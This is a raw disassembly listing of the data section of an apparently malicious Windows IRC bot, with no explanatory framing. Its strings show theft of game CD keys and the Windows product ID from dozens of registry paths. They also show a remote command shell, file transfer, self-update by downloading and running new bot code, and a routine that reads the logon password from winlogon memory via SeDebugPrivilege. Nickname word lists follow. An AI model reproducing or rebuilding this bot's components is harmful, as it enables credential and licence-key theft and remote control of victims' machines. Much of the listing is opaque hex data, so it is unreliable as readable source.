dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 10h
aSerialnumber db 'SerialNumber',0
align 10h
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
dd offset loc_584F4E
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 10h
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 10h
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 10h
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 10h
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 10h
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 10h
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 10h
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 10h
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 10h
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0
align 10h
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aTheGladiators db 'The Gladiators',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o
aCdkey db 'CDKey',0 ; DATA XREF: ___:004368F0o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo
align 4
asc_437AEC: ; DATA XREF: sub_415A30+E9o
; sub_415A30+F4o
unicode 0, <=>,0
dword_437AF0 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_415A30+2Bo
dd 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437B6C db 2Dh ; - ; DATA XREF: ___:00415F18o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
dword_437B90 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:0041617Do
; ___:00416313o
dd 726F72h
unk_437BA8 db 2Dh ; - ; DATA XREF: ___:00416115o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_437BD4 db 2Dh ; - ; DATA XREF: ___:0041601Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_437BF8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:00415FE6o
dd 74756Fh
dword_437C10 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:00415F85o
dd 169h
unk_437C28 db 2Dh ; - ; DATA XREF: ___:00415F42o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_437C48 db 2Dh ; - ; DATA XREF: ___:00415E9Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_437C6C db 2Dh ; - ; DATA XREF: ___:00415E5Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
unk_437C90 db 2Dh ; - ; DATA XREF: ___:0041638Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_437CBC db 2Dh ; - ; DATA XREF: ___:00416288o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_437CDC db 2Dh ; - ; DATA XREF: ___:00416268o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: ___:00416254o
unk_437D0C db 2Dh ; - ; DATA XREF: ___:00416240o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_437D3C db 2Dh ; - ; DATA XREF: ___:0041688Do
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_437D68 db 2Dh ; - ; DATA XREF: ___:0041687Fo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_437D9C db 2Dh ; - ; DATA XREF: ___:004167C3o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
dword_437DE0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416752o
dd 25206465h, 73h
unk_437DFC db 2Dh ; - ; DATA XREF: ___:004166DBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_437E34 db 2Dh ; - ; DATA XREF: ___:0041665Co
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_437E5C db 2Dh ; - ; DATA XREF: ___:004165D2o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_437E88 db 2Dh ; - ; DATA XREF: ___:0041658Fo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_437EB0 db 2Dh ; - ; DATA XREF: ___:0041657Do
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_437ED8 db 2Dh ; - ; DATA XREF: ___:00416471o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A2:loc_4169E5o
; sub_418EF7+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A2:loc_4169DFo
aDisk db 'Disk',0 ; DATA XREF: sub_4169A2:loc_4169D9o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_4169A2:loc_4169D3o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A2:loc_4169CDo
align 4
off_437F28 dd offset word_4D4152 ; DATA XREF: sub_4169A2:loc_4169C7o
word_437F2C dw 3Fh ; DATA XREF: sub_4169A2+1Fo
; sub_41AA43:loc_41AB45r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_416A33:loc_416B11o
; sub_416B57+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416A33+6Co
align 10h
unk_437F40 db 2Dh ; - ; DATA XREF: sub_416B57+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_437F7C db 2Dh ; - ; DATA XREF: sub_416B57+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
off_437FB8 dd offset byte_5C3A41 ; DATA XREF: sub_416C29:loc_416C6Eo
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_438028 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417094o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_43805C db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417067o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438088 db 2Dh ; - ; DATA XREF: sub_416F1B:loc_417060o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_4380C0 db 2Dh ; - ; DATA XREF: sub_416F1B+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_43811C dd offset byte_530055 ; DATA XREF: sub_416F1B+DCo
dd offset byte_520045
dd offset loc_4F0044
dd offset loc_41004B+2
dd offset loc_4E0047+2
dd 0
off_438134 dd offset byte_530055 ; DATA XREF: sub_416F1B+CEo
dd offset byte_520045
dd offset loc_41004E
dd offset byte_45004D
align 8
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1B+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1B+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1B+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1B+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1B+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1B+40o
; sub_416F1B+161o ...
align 4
unk_4381F8 db 2Dh ; - ; DATA XREF: sub_416F1B+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170ED+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170ED+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170ED+AFo
align 4
dword_438244 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417553+70o
; sub_4175EA+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438294 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4175EA+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_4382E8 dd offset aQ ; DATA XREF: sub_417ADE+5Cr
; "q"
dd offset dword_438E90
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset dword_438E8C
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_0 ; "s"
dd offset aD ; "d"
dd offset dword_438E88
dd offset dword_438E84
dd offset dword_438E80
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42CE54 ; "l"
dd offset dword_438E7C
dd offset dword_438E78
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_438E74
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_438E70
dd offset dword_438E6C
dd offset dword_438E68
dd offset dword_438E64
dd offset dword_438E60
dd offset word_438E5C
dd offset dword_438E58
dd offset aI_0 ; "I"
dd offset dword_438E54
dd offset dword_438E50
dd offset aA_0 ; "A"
dd offset dword_438E4C
dd offset dword_438E48
dd offset dword_438E44
dd offset dword_438E40
dd offset dword_438E3C
dd offset dword_438E38
dd offset dword_438E34
dd offset dword_438E30
dd offset dword_438E2C
dd offset dword_438E28
dd offset dword_438E24
dd offset dword_438E20
dd offset dword_438E1C
dd offset word_438E18
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_438BB0
dd offset off_438BAC
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_438A18
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_4385E8 dd offset aSex ; DATA XREF: sub_417ADE+41r
; sub_417ADE+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_438E74
dd offset aC ; "c"
dd offset aD ; "d"
dd offset aE ; "e"
dd offset dword_438E88
dd offset dword_438E84
dd offset dword_438E80
dd offset aI ; "i"
dd offset dword_42BBFC
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42CE54 ; "l"
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_438E90
dd offset dword_438E78
dd offset dword_438E8C
dd offset dword_438E7C
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_438E7C
dd offset dword_438E84
dd offset aS_0 ; "s"
dd offset aQ ; "q"
dd offset off_438838
dd offset aBbl ; "|bbl"
dd offset dword_43D808
dd offset dword_43D808
dd offset a___0 ; "_|_"
dd offset dword_43D808
dd offset dword_43D808
dd offset dword_43D808
dd offset dword_43D808
dd offset dword_438E44
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_438E74
dd offset dword_43D808
dd offset aSleeping ; "Sleeping"
dd offset dword_43D808
dd offset dword_43D808
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset dword_43D808
dd offset dword_43D808
dd offset dword_438E28
dd offset dword_43D808
dd offset off_4387F8
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_4387B8
dd offset dword_4387B4
dd offset dword_4387AC
dd offset dword_4387A0
dd offset dword_438798
dd offset dword_438790
dd offset dword_438788
dd offset dword_438784
dd offset dword_438780
dword_438780 dd 7536h ; DATA XREF: ___:0043877Co
dword_438784 dd 7535h ; DATA XREF: ___:00438778o
dword_438788 dd 7C75347Ch, 0 ; DATA XREF: ___:00438774o
dword_438790 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438770o
dword_438798 dd 7375347Ch, 7Ch ; DATA XREF: ___:0043876Co
dword_4387A0 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438768o
dword_4387AC dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438764o
dword_4387B4 dd 6C6F6Ch ; DATA XREF: ___:00438760o
dword_4387B8 dd 746F74h ; DATA XREF: ___:0043875Co
aMofo db 'mofo',0 ; DATA XREF: ___:00438758o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:00438754o
align 4
aMuha db 'muha',0 ; DATA XREF: ___:00438750o
align 4
